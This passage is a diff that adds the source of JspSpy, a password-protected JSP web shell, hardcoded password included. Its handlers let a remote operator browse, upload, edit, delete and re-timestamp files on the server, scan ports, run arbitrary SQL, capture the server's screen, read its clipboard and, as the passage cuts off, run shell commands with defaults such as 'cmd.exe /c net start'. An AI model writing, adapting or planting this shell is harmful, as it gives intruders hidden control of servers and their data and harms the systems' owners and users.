import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "ninty"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
                            "); +str = str.replace("\n","
                            "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
                            "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
                            "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
                            " + msg; +out.write("
                            "+msg+"
                            "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
                            "+ +"

                            System Clipboard »

                            "+ +"

                            ");
                            +try{
                            +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
                            +}catch (Exception ex) {
                            +out.println("ClipBoard is Empty Or Is Not Text Data !");
                            +}
                            +out.println("
                            "+ +" "+ +"

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
                            "+ +"

                            Remote Control »

                            "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
                            "+ +"

                            PortScan >>

                            "+ +"
                            "+ +"

                            "+ +"IP : Port : Timeout (秒) : "+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
                            "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
                            "); +} +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
                            "+ +"
                            "+ +""+ +"

                            DataBase Manager »

                            "+ +""+ +"

                            "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

                            "+ +"
                            "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
                            "+ +"
                            "+ +""+ +"

                            DataBase Manager »

                            "+ +""+ +"

                            "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

                            "+ +"
                            "); +out.println("
                            "+ +"

                            Run SQL query/queries on database :

                            "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

                            Query#0 : "+Util.htmlEncode(sql)+"

                            "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
                            "+meta.getColumnName(i)+"
                            "+meta.getColumnTypeName(i)+"
                            "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

                            affected rows : "+obj+"

                            "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
                            "+ +"

                            Password: "+ +" "+ +" "+ +" "+ +"

                            "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); + +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
                            "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

                            File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"

                            "); +out.println("
                            "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
                            Current Directory
                            "+ +"
                            "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
                            "+ +"
                            "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
                             NameLast ModifiedSizeRead/Write/Execute 
                            =Goto Parent
                            0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"Del | Move | Pack
                            "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+""+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
                             Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
                            "); +out.println("
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
                            "+ +"
                            "+ +"

                            Create / Edit File »

                            "+ +""+ +"

                            Current File (import new file name and new file)

                            "+ +"

                            File Content

                            "+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
                            "+ +"
                            "+ +"

                            Create / Edit File »

                            "+ +""+ +"

                            Current File (import new file name and new file)

                            "+ +"

                            File Content

                            "+ +"

                            "+ +"
                            "+ +"
                            "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = f.canExecute() ? "checked=\"checked\"" : ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); + +out.println("
                            "+ +"
                            "+ +"

                            Set File Property »

                            "+ +"

                            Current file (fullpath)

                            "+ +" "+ +"

                            Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

                            "+ +"

                            Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

                            "+ +"

                            "+ +"
                            "+ +"
                            "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; +String read = request.getParameter("read"); +String write = request.getParameter("write"); +String execute = request.getParameter("execute"); +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); +if (Util.isEmpty(read)) { +file.setReadable(false); +} else { +file.setReadable(true); +} +if (Util.isEmpty(write)) { +file.setWritable(false); +} else { +file.setWritable(true); +} +if (Util.isEmpty(execute)) { +file.setExecutable(false); +} else { +file.setExecutable(true); +} +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); 